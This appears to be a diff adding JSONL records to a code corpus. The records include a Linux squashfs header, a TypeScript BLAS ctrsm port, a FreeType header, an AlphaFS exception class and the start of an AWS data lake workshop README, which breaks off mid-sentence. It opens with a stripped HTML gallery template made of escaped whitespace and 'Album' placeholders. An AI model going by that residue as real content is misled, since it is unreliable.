    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t\t
    • \n\t\t\t\t\n\t\t\t\t\t\"Album\"\n\t\t\t\t\n\t\t\t\t\n\t\t\t
      • \n\t\t\t\t\t
    \n\t
    \n
    \n\n
    Medium Gallery Layout
    \n
    \n\t
      \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t
    \n
    \n
    \n\n
    Small Gallery Layout
    \n
    \n\t
      \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t\t
    • \n\t\t\t\n\t\t\t\t\"Album\"\n\t\t\t\n\t\t\t\n\t\t
      • \n\t\t\t
    \n
    \t\t\n\t\t\t\t
    \n\t\tDocumentation - Collect from 网页模板 - More Templates 模板之家\n\t\t\t\t\n\t\t
    \n\t\t\n\t
    \n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n\n\n"}
+{"text": "/* SPDX-License-Identifier: GPL-2.0-or-later */\n#ifndef SQUASHFS_FS\n#define SQUASHFS_FS\n/*\n * Squashfs\n *\n * Copyright (c) 2002, 2003, 2004, 2005, 2006, 2007, 2008\n * Phillip Lougher \n *\n * squashfs_fs.h\n */\n\n#define SQUASHFS_CACHED_FRAGMENTS\tCONFIG_SQUASHFS_FRAGMENT_CACHE_SIZE\n#define SQUASHFS_MAJOR\t\t\t4\n#define SQUASHFS_MINOR\t\t\t0\n#define SQUASHFS_START\t\t\t0\n\n/* size of metadata (inode and directory) blocks */\n#define SQUASHFS_METADATA_SIZE\t\t8192\n\n/* default size of block device I/O */\n#ifdef CONFIG_SQUASHFS_4K_DEVBLK_SIZE\n#define SQUASHFS_DEVBLK_SIZE 4096\n#else\n#define SQUASHFS_DEVBLK_SIZE 1024\n#endif\n\n#define SQUASHFS_FILE_MAX_SIZE\t\t1048576\n#define SQUASHFS_FILE_MAX_LOG\t\t20\n\n/* Max length of filename (not 255) */\n#define SQUASHFS_NAME_LEN\t\t256\n\n/* Max value for directory header count*/\n#define SQUASHFS_DIR_COUNT\t\t256\n\n#define SQUASHFS_INVALID_FRAG\t\t(0xffffffffU)\n#define SQUASHFS_INVALID_XATTR\t\t(0xffffffffU)\n#define SQUASHFS_INVALID_BLK\t\t(-1LL)\n\n/* Filesystem flags */\n#define SQUASHFS_NOI\t\t\t0\n#define SQUASHFS_NOD\t\t\t1\n#define SQUASHFS_NOF\t\t\t3\n#define SQUASHFS_NO_FRAG\t\t4\n#define SQUASHFS_ALWAYS_FRAG\t\t5\n#define SQUASHFS_DUPLICATE\t\t6\n#define SQUASHFS_EXPORT\t\t\t7\n#define SQUASHFS_COMP_OPT\t\t10\n\n#define SQUASHFS_BIT(flag, bit)\t\t((flag >> bit) & 1)\n\n#define SQUASHFS_UNCOMPRESSED_INODES(flags)\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_NOI)\n\n#define SQUASHFS_UNCOMPRESSED_DATA(flags)\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_NOD)\n\n#define SQUASHFS_UNCOMPRESSED_FRAGMENTS(flags)\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_NOF)\n\n#define SQUASHFS_NO_FRAGMENTS(flags)\t\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_NO_FRAG)\n\n#define SQUASHFS_ALWAYS_FRAGMENTS(flags)\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_ALWAYS_FRAG)\n\n#define SQUASHFS_DUPLICATES(flags)\t\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_DUPLICATE)\n\n#define SQUASHFS_EXPORTABLE(flags)\t\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_EXPORT)\n\n#define SQUASHFS_COMP_OPTS(flags)\t\tSQUASHFS_BIT(flags, \\\n\t\t\t\t\t\tSQUASHFS_COMP_OPT)\n\n/* Inode types including extended types */\n#define SQUASHFS_DIR_TYPE\t\t1\n#define SQUASHFS_REG_TYPE\t\t2\n#define SQUASHFS_SYMLINK_TYPE\t\t3\n#define SQUASHFS_BLKDEV_TYPE\t\t4\n#define SQUASHFS_CHRDEV_TYPE\t\t5\n#define SQUASHFS_FIFO_TYPE\t\t6\n#define SQUASHFS_SOCKET_TYPE\t\t7\n#define SQUASHFS_LDIR_TYPE\t\t8\n#define SQUASHFS_LREG_TYPE\t\t9\n#define SQUASHFS_LSYMLINK_TYPE\t\t10\n#define SQUASHFS_LBLKDEV_TYPE\t\t11\n#define SQUASHFS_LCHRDEV_TYPE\t\t12\n#define SQUASHFS_LFIFO_TYPE\t\t13\n#define SQUASHFS_LSOCKET_TYPE\t\t14\n\n/* Max type value stored in directory entry */\n#define SQUASHFS_MAX_DIR_TYPE\t\t7\n\n/* Xattr types */\n#define SQUASHFS_XATTR_USER             0\n#define SQUASHFS_XATTR_TRUSTED          1\n#define SQUASHFS_XATTR_SECURITY         2\n#define SQUASHFS_XATTR_VALUE_OOL        256\n#define SQUASHFS_XATTR_PREFIX_MASK      0xff\n\n/* Flag whether block is compressed or uncompressed, bit is set if block is\n * uncompressed */\n#define SQUASHFS_COMPRESSED_BIT\t\t(1 << 15)\n\n#define SQUASHFS_COMPRESSED_SIZE(B)\t(((B) & ~SQUASHFS_COMPRESSED_BIT) ? \\\n\t\t(B) & ~SQUASHFS_COMPRESSED_BIT :  SQUASHFS_COMPRESSED_BIT)\n\n#define SQUASHFS_COMPRESSED(B)\t\t(!((B) & SQUASHFS_COMPRESSED_BIT))\n\n#define SQUASHFS_COMPRESSED_BIT_BLOCK\t(1 << 24)\n\n#define SQUASHFS_COMPRESSED_SIZE_BLOCK(B)\t((B) & \\\n\t\t\t\t\t\t~SQUASHFS_COMPRESSED_BIT_BLOCK)\n\n#define SQUASHFS_COMPRESSED_BLOCK(B)\t(!((B) & SQUASHFS_COMPRESSED_BIT_BLOCK))\n\nstatic inline int squashfs_block_size(__le32 raw)\n{\n\tu32 size = le32_to_cpu(raw);\n\treturn (size >> 25) ? -EIO : size;\n}\n\n/*\n * Inode number ops.  Inodes consist of a compressed block number, and an\n * uncompressed offset within that block\n */\n#define SQUASHFS_INODE_BLK(A)\t\t((unsigned int) ((A) >> 16))\n\n#define SQUASHFS_INODE_OFFSET(A)\t((unsigned int) ((A) & 0xffff))\n\n#define SQUASHFS_MKINODE(A, B)\t\t((long long)(((long long) (A)\\\n\t\t\t\t\t<< 16) + (B)))\n\n/* fragment and fragment table defines */\n#define SQUASHFS_FRAGMENT_BYTES(A)\t\\\n\t\t\t\t((A) * sizeof(struct squashfs_fragment_entry))\n\n#define SQUASHFS_FRAGMENT_INDEX(A)\t(SQUASHFS_FRAGMENT_BYTES(A) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_FRAGMENT_INDEX_OFFSET(A)\t(SQUASHFS_FRAGMENT_BYTES(A) % \\\n\t\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_FRAGMENT_INDEXES(A)\t((SQUASHFS_FRAGMENT_BYTES(A) + \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE - 1) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_FRAGMENT_INDEX_BYTES(A)\t(SQUASHFS_FRAGMENT_INDEXES(A) *\\\n\t\t\t\t\t\tsizeof(u64))\n\n/* inode lookup table defines */\n#define SQUASHFS_LOOKUP_BYTES(A)\t((A) * sizeof(u64))\n\n#define SQUASHFS_LOOKUP_BLOCK(A)\t(SQUASHFS_LOOKUP_BYTES(A) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_LOOKUP_BLOCK_OFFSET(A)\t(SQUASHFS_LOOKUP_BYTES(A) % \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_LOOKUP_BLOCKS(A)\t((SQUASHFS_LOOKUP_BYTES(A) + \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE - 1) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_LOOKUP_BLOCK_BYTES(A)\t(SQUASHFS_LOOKUP_BLOCKS(A) *\\\n\t\t\t\t\tsizeof(u64))\n\n/* uid/gid lookup table defines */\n#define SQUASHFS_ID_BYTES(A)\t\t((A) * sizeof(unsigned int))\n\n#define SQUASHFS_ID_BLOCK(A)\t\t(SQUASHFS_ID_BYTES(A) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_ID_BLOCK_OFFSET(A)\t(SQUASHFS_ID_BYTES(A) % \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_ID_BLOCKS(A)\t\t((SQUASHFS_ID_BYTES(A) + \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE - 1) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_ID_BLOCK_BYTES(A)\t(SQUASHFS_ID_BLOCKS(A) *\\\n\t\t\t\t\tsizeof(u64))\n/* xattr id lookup table defines */\n#define SQUASHFS_XATTR_BYTES(A)\t\t((A) * sizeof(struct squashfs_xattr_id))\n\n#define SQUASHFS_XATTR_BLOCK(A)\t\t(SQUASHFS_XATTR_BYTES(A) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_XATTR_BLOCK_OFFSET(A)\t(SQUASHFS_XATTR_BYTES(A) % \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_XATTR_BLOCKS(A)\t((SQUASHFS_XATTR_BYTES(A) + \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE - 1) / \\\n\t\t\t\t\tSQUASHFS_METADATA_SIZE)\n\n#define SQUASHFS_XATTR_BLOCK_BYTES(A)\t(SQUASHFS_XATTR_BLOCKS(A) *\\\n\t\t\t\t\tsizeof(u64))\n#define SQUASHFS_XATTR_BLK(A)\t\t((unsigned int) ((A) >> 16))\n\n#define SQUASHFS_XATTR_OFFSET(A)\t((unsigned int) ((A) & 0xffff))\n\n/* cached data constants for filesystem */\n#define SQUASHFS_CACHED_BLKS\t\t8\n\n/* meta index cache */\n#define SQUASHFS_META_INDEXES\t(SQUASHFS_METADATA_SIZE / sizeof(unsigned int))\n#define SQUASHFS_META_ENTRIES\t127\n#define SQUASHFS_META_SLOTS\t8\n\nstruct meta_entry {\n\tu64\t\t\tdata_block;\n\tunsigned int\t\tindex_block;\n\tunsigned short\t\toffset;\n\tunsigned short\t\tpad;\n};\n\nstruct meta_index {\n\tunsigned int\t\tinode_number;\n\tunsigned int\t\toffset;\n\tunsigned short\t\tentries;\n\tunsigned short\t\tskip;\n\tunsigned short\t\tlocked;\n\tunsigned short\t\tpad;\n\tstruct meta_entry\tmeta_entry[SQUASHFS_META_ENTRIES];\n};\n\n\n/*\n * definitions for structures on disk\n */\n#define ZLIB_COMPRESSION\t1\n#define LZMA_COMPRESSION\t2\n#define LZO_COMPRESSION\t\t3\n#define XZ_COMPRESSION\t\t4\n#define LZ4_COMPRESSION\t\t5\n#define ZSTD_COMPRESSION\t6\n\nstruct squashfs_super_block {\n\t__le32\t\t\ts_magic;\n\t__le32\t\t\tinodes;\n\t__le32\t\t\tmkfs_time;\n\t__le32\t\t\tblock_size;\n\t__le32\t\t\tfragments;\n\t__le16\t\t\tcompression;\n\t__le16\t\t\tblock_log;\n\t__le16\t\t\tflags;\n\t__le16\t\t\tno_ids;\n\t__le16\t\t\ts_major;\n\t__le16\t\t\ts_minor;\n\t__le64\t\t\troot_inode;\n\t__le64\t\t\tbytes_used;\n\t__le64\t\t\tid_table_start;\n\t__le64\t\t\txattr_id_table_start;\n\t__le64\t\t\tinode_table_start;\n\t__le64\t\t\tdirectory_table_start;\n\t__le64\t\t\tfragment_table_start;\n\t__le64\t\t\tlookup_table_start;\n};\n\nstruct squashfs_dir_index {\n\t__le32\t\t\tindex;\n\t__le32\t\t\tstart_block;\n\t__le32\t\t\tsize;\n\tunsigned char\t\tname[];\n};\n\nstruct squashfs_base_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n};\n\nstruct squashfs_ipc_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tnlink;\n};\n\nstruct squashfs_lipc_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tnlink;\n\t__le32\t\t\txattr;\n};\n\nstruct squashfs_dev_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tnlink;\n\t__le32\t\t\trdev;\n};\n\nstruct squashfs_ldev_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tnlink;\n\t__le32\t\t\trdev;\n\t__le32\t\t\txattr;\n};\n\nstruct squashfs_symlink_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tnlink;\n\t__le32\t\t\tsymlink_size;\n\tchar\t\t\tsymlink[];\n};\n\nstruct squashfs_reg_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tstart_block;\n\t__le32\t\t\tfragment;\n\t__le32\t\t\toffset;\n\t__le32\t\t\tfile_size;\n\t__le16\t\t\tblock_list[];\n};\n\nstruct squashfs_lreg_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le64\t\t\tstart_block;\n\t__le64\t\t\tfile_size;\n\t__le64\t\t\tsparse;\n\t__le32\t\t\tnlink;\n\t__le32\t\t\tfragment;\n\t__le32\t\t\toffset;\n\t__le32\t\t\txattr;\n\t__le16\t\t\tblock_list[];\n};\n\nstruct squashfs_dir_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tstart_block;\n\t__le32\t\t\tnlink;\n\t__le16\t\t\tfile_size;\n\t__le16\t\t\toffset;\n\t__le32\t\t\tparent_inode;\n};\n\nstruct squashfs_ldir_inode {\n\t__le16\t\t\tinode_type;\n\t__le16\t\t\tmode;\n\t__le16\t\t\tuid;\n\t__le16\t\t\tguid;\n\t__le32\t\t\tmtime;\n\t__le32\t\t\tinode_number;\n\t__le32\t\t\tnlink;\n\t__le32\t\t\tfile_size;\n\t__le32\t\t\tstart_block;\n\t__le32\t\t\tparent_inode;\n\t__le16\t\t\ti_count;\n\t__le16\t\t\toffset;\n\t__le32\t\t\txattr;\n\tstruct squashfs_dir_index\tindex[];\n};\n\nunion squashfs_inode {\n\tstruct squashfs_base_inode\t\tbase;\n\tstruct squashfs_dev_inode\t\tdev;\n\tstruct squashfs_ldev_inode\t\tldev;\n\tstruct squashfs_symlink_inode\t\tsymlink;\n\tstruct squashfs_reg_inode\t\treg;\n\tstruct squashfs_lreg_inode\t\tlreg;\n\tstruct squashfs_dir_inode\t\tdir;\n\tstruct squashfs_ldir_inode\t\tldir;\n\tstruct squashfs_ipc_inode\t\tipc;\n\tstruct squashfs_lipc_inode\t\tlipc;\n};\n\nstruct squashfs_dir_entry {\n\t__le16\t\t\toffset;\n\t__le16\t\t\tinode_number;\n\t__le16\t\t\ttype;\n\t__le16\t\t\tsize;\n\tchar\t\t\tname[];\n};\n\nstruct squashfs_dir_header {\n\t__le32\t\t\tcount;\n\t__le32\t\t\tstart_block;\n\t__le32\t\t\tinode_number;\n};\n\nstruct squashfs_fragment_entry {\n\t__le64\t\t\tstart_block;\n\t__le32\t\t\tsize;\n\tunsigned int\t\tunused;\n};\n\nstruct squashfs_xattr_entry {\n\t__le16\t\t\ttype;\n\t__le16\t\t\tsize;\n\tchar\t\t\tdata[];\n};\n\nstruct squashfs_xattr_val {\n\t__le32\t\t\tvsize;\n\tchar\t\t\tvalue[];\n};\n\nstruct squashfs_xattr_id {\n\t__le64\t\t\txattr;\n\t__le32\t\t\tcount;\n\t__le32\t\t\tsize;\n};\n\nstruct squashfs_xattr_id_table {\n\t__le64\t\t\txattr_table_start;\n\t__le32\t\t\txattr_ids;\n\t__le32\t\t\tunused;\n};\n\n#endif\n"}
+{"text": "/* This is a conversion from BLAS to Typescript/Javascript\nCopyright (C) 2018  Jacob K.F. Bogers  info@mail.jacob-bogers.com\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see .\n*/\n\nimport {\n    Complex,\n    errMissingIm,\n    errWrongArg,\n    lowerChar,\n    Matrix,\n    MatrixEComplex\n} from '../../../f_func';\n\nimport { BinvA } from './BinvA';\nimport { BinvTranConjA } from './BinvTranConjA';\nimport { invAB } from './invAB';\nimport { invTranConjAB } from './invTranConjAB';\n\n/*\n*>\n*> CTRSM  solves one of the matrix equations\n*>\n*>    op( A )*X = alpha*B,   or   X*op( A ) = alpha*B,\n*>\n*> where alpha is a scalar, X and B are m by n matrices, A is a unit, or\n*> non-unit,  upper or lower triangular matrix  and  op( A )  is one  of\n*>\n*>    op( A ) = A   or   op( A ) = A**T   or   op( A ) = A**H.\n*>\n*> The matrix X is overwritten on B.\n*/\n\nconst { max } = Math;\n\nexport function ctrsm(\n    side: 'l' | 'r',\n    uplo: 'u' | 'l',\n    transA: 'n' | 't' | 'c',\n    diag: 'u' | 'n',\n    m: number,\n    n: number,\n    alpha: Complex,\n    a: Matrix,\n    lda: number,\n    b: Matrix,\n    ldb: number): void {\n\n\n    if (a.i === undefined) {\n        throw new Error(errMissingIm('a.i'));\n    }\n    if (b.i === undefined) {\n        throw new Error(errMissingIm('b.i'));\n    }\n\n    const si = lowerChar(side);\n    const ul = lowerChar(uplo);\n    const trA = lowerChar(transA);\n    const di = lowerChar(diag);\n\n    const nrowA = si === 'l' ? m : n;\n\n    const noconj = trA === 't';\n    const nounit = diag === 'n';\n    const upper = ul === 'u';\n\n    const alphaIsZero = (alpha.re === 0 && alpha.im === 0);\n    const alphaIsOne = (alpha.re === 1 && alpha.im === 0);\n\n    let info = 0;\n\n    if (!'lr'.includes(si)) {\n        info = 1;\n    }\n    else if (!'ul'.includes(ul)) {\n        info = 2;\n    }\n    else if (!'ntc'.includes(trA)) {\n        info = 3;\n    }\n    else if (!'un'.includes(di)) {\n        info = 4;\n    }\n    else if (m < 0) {\n        info = 5;\n    }\n    else if (n < 0) {\n        info = 6;\n    }\n    else if (lda < max(1, nrowA)) {\n        info = 9;\n    }\n    else if (ldb < max(1, m)) {\n        info = 11;\n    }\n    if (info !== 0) {\n        throw new Error(errWrongArg('ctrsm', info));\n    }\n\n    //     Quick return if possible.\n\n    if (m === 0 || n === 0) return;\n\n    //     And when  alpha.eq.zero.\n\n    if (alphaIsZero) {\n        for (let j = 1; j <= n; j++) {\n            b.setCol(j, 1, m, 0);\n        }\n        return;\n    }\n\n    // start operations\n\n    if (si === 'l' && trA === 'n') {\n        return invAB(\n            nounit,\n            upper,\n            alphaIsOne,\n            alphaIsZero,\n            noconj,\n            n,\n            m,\n            a,\n            b,\n            alpha\n        );\n    }\n\n    if (si === 'l' && trA !== 'n') {\n        //Form  B := alpha*inv( A**T )*B\n        //or    B := alpha*inv( A**H )*B.\n        return invTranConjAB(\n            nounit,\n            upper,\n            alphaIsOne,\n            alphaIsZero,\n            noconj,\n            n,\n            m,\n            a,\n            b,\n            alpha\n        );\n    }\n\n    if (si === 'r' && trA === 'n') {\n        //   Form  B := alpha*B*inv( A ).\n        //BinvA\n        return BinvA(\n            nounit,\n            upper,\n            alphaIsOne,\n            alphaIsZero,\n            noconj,\n            n,\n            m,\n            a,\n            b,\n            alpha\n        );\n    }\n\n    /* if (si === 'r' && trA !== 'n') {*/\n    //Form  B := alpha*B*inv( A**T )\n    // or    B := alpha*B*inv( A**H ).\n    //BinvTranConjA\n    return BinvTranConjA(\n        nounit,\n        upper,\n        alphaIsOne,\n        alphaIsZero,\n        noconj,\n        n,\n        m,\n        a,\n        b,\n        alpha\n    );\n    //}\n\n    //throw new Error('unreachable code');\n\n}\n"}
+{"text": "/***************************************************************************/\n/*                                                                         */\n/*  ftspic.h                                                               */\n/*                                                                         */\n/*    The FreeType position independent code services for smooth module.   */\n/*                                                                         */\n/*  Copyright 2009 by                                                      */\n/*  Oran Agra and Mickey Gabel.                                            */\n/*                                                                         */\n/*  This file is part of the FreeType project, and may only be used,       */\n/*  modified, and distributed under the terms of the FreeType project      */\n/*  license, LICENSE.TXT.  By continuing to use, modify, or distribute     */\n/*  this file you indicate that you have read the license and              */\n/*  understand and accept it fully.                                        */\n/*                                                                         */\n/***************************************************************************/\n\n#ifndef __FTSPIC_H__\n#define __FTSPIC_H__\n\nFT_BEGIN_HEADER\n\n#include FT_INTERNAL_PIC_H\n\n#ifndef FT_CONFIG_OPTION_PIC\n#define FT_GRAYS_RASTER_GET ft_grays_raster\n\n#else /* FT_CONFIG_OPTION_PIC */\n\ntypedef struct SmoothPIC_ {\n  int ref_count;\n  FT_Raster_Funcs ft_grays_raster;\n} SmoothPIC;\n\n#define GET_PIC(lib) ((SmoothPIC*)((lib)->pic_container.smooth))\n#define FT_GRAYS_RASTER_GET (GET_PIC(library)->ft_grays_raster)\n\n#endif /* FT_CONFIG_OPTION_PIC */\n\n/* */\n\nFT_END_HEADER\n\n#endif /* __FTSPIC_H__ */\n\n/* END */\n"}
+{"text": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Runtime.Serialization;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// [AlphaFS] It is too late to perform the requested operation, since the Transaction has already been committed.\n   [Serializable]\n   public class TransactionAlreadyCommittedException : TransactionException\n   {\n      /// [AlphaFS] Initializes a new instance of the  class.\n      public TransactionAlreadyCommittedException()\n      {\n      }\n\n\n      /// [AlphaFS] Initializes a new instance of the  class.\n      /// The message.\n      public TransactionAlreadyCommittedException(string message) : base(message)\n      {\n      }\n\n\n      /// [AlphaFS] Initializes a new instance of the  class.\n      /// The message.\n      /// The inner exception.\n      public TransactionAlreadyCommittedException(string message, Exception innerException) : base(message, innerException)\n      {\n      }\n\n\n      /// [AlphaFS] Initializes a new instance of the  class.\n      /// The object that holds the serialized object data.\n      /// The contextual information about the source or destination.\n      protected TransactionAlreadyCommittedException(SerializationInfo info, StreamingContext context) : base(info, context)\n      {\n      }\n   }\n}\n"}
+{"text": "\n\n\n"}
+{"text": "# Welcome to the AWS Serverless Data Lake Workshop\n\n# Serverless Ingestion using Amazon Kinesis Firehose\nThe first step of data processing in a data lake is to land data into S3. To help with this the cloud engineering team has created three different extracts (user activity, user profile, and zip code data) from their databases. These extracts have been placed into a S3 bucket. In addition to the extracts, a Kinesis Firehose has been set up to move web logs written to CloudWatch logs into S3. Using these data sets we will explore various ways to process data within our data lake. \n\n## Kinesis Firehose Delivery Steam\nKinesis Firehose provides a fully managed stream processing service that's highly scalable and can deliver data to S3. The application teams publish the log files to cloudwatch logs via the cloudwatch agent. Currently, the logs are being published to the //^stackname^/apache CloudWatch Log Group.\n\n### Lab\nThis section requires outputs from the 